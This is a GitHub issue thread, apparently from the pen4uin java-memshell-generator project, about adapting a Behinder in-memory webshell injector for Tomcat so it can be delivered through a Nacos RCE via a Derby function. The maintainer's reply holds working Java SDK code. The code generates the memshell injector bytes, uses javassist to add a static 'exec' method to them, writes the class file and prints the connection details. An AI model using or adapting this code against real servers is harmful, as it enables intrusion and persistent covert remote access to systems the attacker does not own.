pen4uin / java-memshell-generator

一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.
1.7k stars 189 forks source link

希望添加一个公开方法以适配一些特殊情况 #27

Closed funnyndk closed 3 months ago

funnyndk commented 3 months ago

以最新的nacos RCE为例,执行时需要在derby数据库创建一个函数引用。并且必须定义一个返回值。

derby-doc

使用默认的jmg工具生成tomcat的冰蝎马时,无法找到合适的可以调用的函数。可否在模板中新增一个方法以适配这种特殊情况。例如:

public static String exec(String test)
  {
    return "success";
  }
pen4uin commented 3 months ago

不打算通过打补丁式的方法适配各种特殊情况

推荐两种方案: 1、套一个 loader,在 loader 中新增需要的方法,然后使用 loader 触发内存马注入操作

2、使用 maven sdk 获取注入器原始字节流,然后进行自定义操作,示例代码:

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.Modifier;
import javassist.bytecode.ClassFile;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.sdk.jMGenerator;
import jmg.sdk.util.SDKResultUtil;

import java.io.ByteArrayInputStream;
import java.io.DataInputStream;

public class SDKTest {
    public static void main(String[] args) throws Throwable {
        // 必需的基础配置
        AbstractConfig config = new AbstractConfig() {{
            // 设置工具类型
            setToolType(Constants.TOOL_BEHINDER);
            // 设置中间件 or 框架
            setServerType(Constants.SERVER_TOMCAT);
            // 设置内存马类型
            setShellType(Constants.SHELL_LISTENER);
            // 设置输出格式为 BASE64
            setOutputFormat(Constants.FORMAT_BASE64);
            // 设置漏洞利用封装,默认不启用
            setGadgetType(Constants.GADGET_NONE);
            // 初始化基础配置
            build();
        }};

        // 生成 payload
        jMGenerator generator = new jMGenerator(config);
        generator.genPayload();

        // 获取注入器原始字节流
        byte[] injectorBytes = generator.getInjectorBytes();

        // 适配特殊情况
        ClassPool pool = ClassPool.getDefault();
        ClassFile classFile = new ClassFile(new DataInputStream(new ByteArrayInputStream(injectorBytes)));
        CtClass ctClass = pool.makeClass(classFile);
        CtMethod ctMethod = new CtMethod(pool.get(String.class.getName()), "exec", new CtClass[]{pool.get(String.class.getName())}, ctClass);
        ctMethod.setModifiers(Modifier.PUBLIC + Modifier.STATIC);
        // 实现自定义逻辑
        ctMethod.setBody("{return \"success\";}");
        ctClass.addMethod(ctMethod);
        ctClass.writeFile();
        ctClass.detach();

        // 打印连接信息
        SDKResultUtil.printBasicInfo(config);
        SDKResultUtil.printDebugInfo(config);
    }
}